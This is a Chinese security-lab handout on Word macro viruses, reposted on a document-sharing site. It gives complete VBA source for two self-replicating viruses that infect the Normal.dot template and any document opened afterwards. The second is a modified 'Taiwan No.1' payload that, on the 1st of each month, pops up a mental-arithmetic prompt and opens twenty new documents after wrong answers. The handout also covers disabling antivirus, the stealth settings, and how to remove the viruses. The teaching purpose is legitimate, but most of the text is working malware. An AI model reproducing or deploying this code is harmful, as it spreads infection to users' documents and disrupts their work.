Word宏病毒.doc
- 文档编号:1221975
- 上传时间:2023-04-30
- 格式:DOC
- 页数:6
- 大小:410.50KB
Word宏病毒.doc
《Word宏病毒.doc》由会员分享,可在线阅读,更多相关《Word宏病毒.doc(6页珍藏版)》请在冰点文库上搜索。
Word宏病毒
1.实验目的(后果自负)
Word宏是指能组织到一起为独立命令使用的一系列Word指令,它能使日常工作变得容易。
本实验演示了宏的编写,通过两个简单的宏病毒示例,说明宏的原理及其安全漏洞和缺陷,理解宏病毒的作用机制,从而加强对宏病毒的认识,提高防范意识。
2.实验所需条件和环境
硬件设备:
局域网,终端PC机。
系统软件:
Windows系列操作系统
支撑软件:
Word2003
软件设置:
关闭杀毒软;打开Word2003,在工具à宏à安全性中,将安全级别设置为低,在可靠发行商选项卡中,选择信任任何所有安装的加载项和模板,选择信任visualbasic项目的访问
实验环境配置如下图所示:
宏病毒传播示意图
3.实验内容和分析
为了保证该实验不至于造成较大的破坏性,进行实验感染后,被感染终端不要打开过多的word文档,否则清除比较麻烦(对每个打开过的文档都要清除)。
3.1.例1自我复制,感染word公用模板和当前文档
代码如下:
'Micro-Virus
SubDocument_Open()
OnErrorResumeNext
Application.DisplayStatusBar=False
Options.SaveNormalPrompt=False
Ourcode=ThisDocument.VBProject.VBComponents
(1).CodeModule.Lines(1,100)
SetHost=NormalTemplate.VBProject.VBComponents
(1).CodeModule
IfThisDocument=NormalTemplateThen
SetHost=ActiveDocument.VBProject.VBComponents
(1).CodeModule
EndIf
WithHost
If.Lines(1.1)<>"'Micro-Virus"Then
.DeleteLines1,.CountOfLines
.InsertLines1,Ourcode
.ReplaceLine2,"SubDocument_Close()"
IfThisDocument=nomaltemplateThen
.ReplaceLine2,"SubDocument_Open()"
ActiveDocument.SaveAsActiveDocument.FullName
EndIf
EndIf
EndWith
MsgBox"MicroVirusbyContentSecurityLab"
EndSub
打开一个word文档,然后按Alt+F11调用宏编写窗口(工具à宏àVisualBasicà宏编辑器),在左侧的project—>MicrosoftWord对象àThisDocument中输入以上代码,保存,此时当前word文档就含有宏病毒,只要下次打开这个word文档,就会执行以上代码,并将自身复制到Normal.dot(word文档的公共模板)和当前文档的ThisDocument中,同时改变函数名(模板中为Document_Close,当前文档为Document_Open),此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用,本例中只是简单的跳出一个提示框。
3.1.1.代码解释
以上代码的基本执行流程如下:
1)进行必要的自我保护
Application.DisplayStatusBar=False
Options.SaveNormalPrompt=False
高明的病毒编写者其自我保护将做得非常好,可以使word的一些工具栏失效,例如将工具菜单中的宏选项屏蔽,也可以修改注册表达到很好的隐藏效果。
本例中只是屏蔽状态栏,以免显示宏的运行状态,并且修改公用模板时自动保存,不给用户提示。
2)得到当前文档的代码对象和公用模板的代码对象
Ourcode=ThisDocument.VBProject.VBComponents
(1).CodeModule.Lines(1,100)
SetHost=NormalTemplate.VBProject.VBComponents
(1).CodeModule
IfThisDocument=NormalTemplateThen
SetHost=ActiveDocument.VBProject.VBComponents
(1).CodeModule
EndIf
3)检查模板是否已经感染病毒,如果没有,则复制宏病毒代码到模板,并且修改函数名。
WithHost
If.Lines(1.1)<>"'Micro-Virus"Then
.DeleteLines1,.CountOfLines
.InsertLines1,Ourcode
.ReplaceLine2,"SubDocument_Close()"
IfThisDocument=nomaltemplateThen
.ReplaceLine2,"SubDocument_Open()"
ActiveDocument.SaveAsActiveDocument.FullName
EndIf
EndIf
EndWith
4)执行恶意代码
MsgBox"MicroVirusbyContentSecurityLab"
3.2.例2具有一定破坏性的宏
我们可以对上例中的恶意代码稍加修改,使其具有一定的破坏性(这里以著名宏病毒“台湾一号”的恶意代码部分为基础,为使其在word2003版本中运行,且降低破坏性,对源代码作适当修改)。
完整代码如下:
'moonlight
Dimnm(4)
SubDocument_Open()
'DisableInput1
Setourcodemodule=ThisDocument.VBProject.VBComponents
(1).CodeModule
Sethost=NormalTemplate.VBProject.VBComponents
(1).CodeModule
IfThisDocument=NormalTemplateThen
Sethost=ActiveDocument.VBProject.VBComponents
(1).CodeModule
EndIf
Withhost
If.Lines(1,1)<>"'moonlight"Then
.DeleteLines1,.CountOfLines
.InsertLines1,ourcodemodule.Lines(1,100)
.ReplaceLine3,"SubDocument_Close()"
IfThisDocument=NormalTemplateThen
.ReplaceLine3,"SubDocument_Open()"
ActiveDocument.SaveAsActiveDocument.FullName
EndIf
EndIf
EndWith
Count=0
IfDay(Now())=1Then
try:
OnErrorGoTotry
test=-1
con=1
tog$=""
i=0
Whiletest=-1
Fori=0To4
nm(i)=Int(Rnd()*10)
con=con*nm(i)
Ifi=4Then
tog$=tog$+Str$(nm(4))+"=?
"
GoTobeg
EndIf
tog$=tog$+Str$(nm(i))+"*"
Nexti
beg:
Beep
ans$=InputBox$("今天是"+Date$+",跟你玩一个心算游戏"+Chr$(13)+"若你答错,只好接受震撼教育......"+Chr$(13)+tog$,"台湾NO.1MacroVirus")
IfRTrim$(LTrim$(ans$))=LTrim$(Str$(con))Then
Documents.Add
Selection.Paragraphs.Alignment=wdAlignParagraphCenter
Beep
WithSelection.Font
.Name="细明体"
.Size=16
.Bold=1
.Underline=1
EndWith
Selection.InsertAfterText:
="何谓宏病毒"
Selection.InsertParagraphAfter
Beep
Selection.InsertAfterText:
="答案:
"
Selection.Font.Italic=1
Selection.InsertAfterText:
="我就是......"
Selection.InsertParagraphAfter
Selection.InsertParagraphAfter
Selection.Font.Italic=0
Beep
Selection.InsertAfterText:
="如何预防宏病毒"
Selection.InsertParagraphAfter
Beep
Selection.InsertAfterText:
="答案:
"
Selection.Font.Italic=1
Selection.InsertAfterText:
="不要看我......"
GoToout
Else
Count=Count+1
Forj=1To20
Beep
Documents.Add
Nextj
Selection.Paragraphs.Alignment=wdAlignParagraphCenter
Selection.InsertAfterText:
="宏病毒"
IfCount=2ThenGoToout
GoTotry
EndIf
Wend
EndIf
out:
EndSub
该病毒的效果如下:
当打开被感染的word文档时,首先进行自我复制,感染word模板,然后检查日期,看是否是1日(即在每月的1日会发作),然后跳出一个对话框,要求用户进行一次心算游戏,这里只用四个小于10的数相乘,如果作者的计算正确,那么就会新建一个文档,跳出如下字幕:
何谓宏病毒
答案:
我就是......
如何预防宏病毒
答案:
不要看我......
如果计算错误,新建20个写有“宏病毒”字样的word文档,然后再一次进行心算游戏,总共进行3次,然后跳出程序。
关闭文档的时候也会执行同样的询问。
4.清除宏病毒
对每一个受感染的word文档进行如下操作。
打开受感染的word文档,进入宏编辑环境(Alt+F11),打开NormalàMicrosoftWord对象àThisDocument,清除其中的病毒代码(只要删除所有内容即可)。
然后打开ProjectàMicrosoftWordàThisDocument,清除其中的病毒代码。
实际上,模板的病毒代码只要在处理最后一个受感染文件时清除即可,然而清除模板病毒后,如果重新打开其他已感染文件,模板将再次被感染,因此为了保证病毒被清除,可以查看每一个受感染文档的模板,如果存在病毒代码,都进行一次清除。
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- Word 宏病毒